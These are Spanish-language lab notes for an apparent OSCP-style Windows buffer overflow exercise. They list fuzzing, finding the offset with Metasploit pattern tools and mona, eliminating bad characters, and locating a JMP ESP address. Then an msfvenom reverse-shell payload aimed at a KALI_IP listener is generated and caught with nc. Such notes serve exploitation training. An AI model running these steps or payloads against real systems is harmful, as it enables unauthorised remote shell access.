python fuzzer.py

/usr/share/metasploit-framework/tools/exploit/pattern\_create.rb -l 1100 o se puede usar esto msf-pattern_create -l 2400

python3 exploit.py

!mona findmsp -distance 2400

Offset es 2026

Ahora cambiamos el offset en el archivo de exploit.py al numero offset Y tambien rtn le ponemos un valor de "BBBB"

Reiniciar app

!mona bytearray -b "\x00"

chequear que bytearray.bin este generado en el folder de mona

python3 bad_characters.py

Reiniciar app Pegar el output a payload

!mona compare -f C:\mona\oscp\bytearray.bin -a <address>

escribimos los bad chars 00 a9 aa cd ce d4 d5

Donde dice ESP le damos click derecho y Follow in Dump

Le quitamos el xa9 del payload hasta llegar al ultimo bad_char

Ahora bad char es \x00\xa9\

Donde dice ESP le damos click derecho y Follow in Dump

Le quitamos el xcd del payload hasta llegar al ultimo bad_char

Ahora bad char es \x00\xa9\xcd\

Donde dice ESP le damos click derecho y Follow in Dump

Le quitamos el xd4 del payload hasta llegar al ultimo bad_char

Ahora bad char es \x00\xa9\xcd\xd4

--Al terminar cambiando todos los bad chars deberia de salir unmodified como ultimo paso y nada de bad_chars

!mona jmp -r esp -cpb "\x00\xa9\xcd\xd4"

625011af

msfvenom -p windows/shell\_reverse\_tcp LHOST=KALI_IP LPORT=4444 EXITFUNC=thread -b "\x00\xa9\xcd\xd4" -f c

padding = "\x90" * 16

nc -lvnp 4444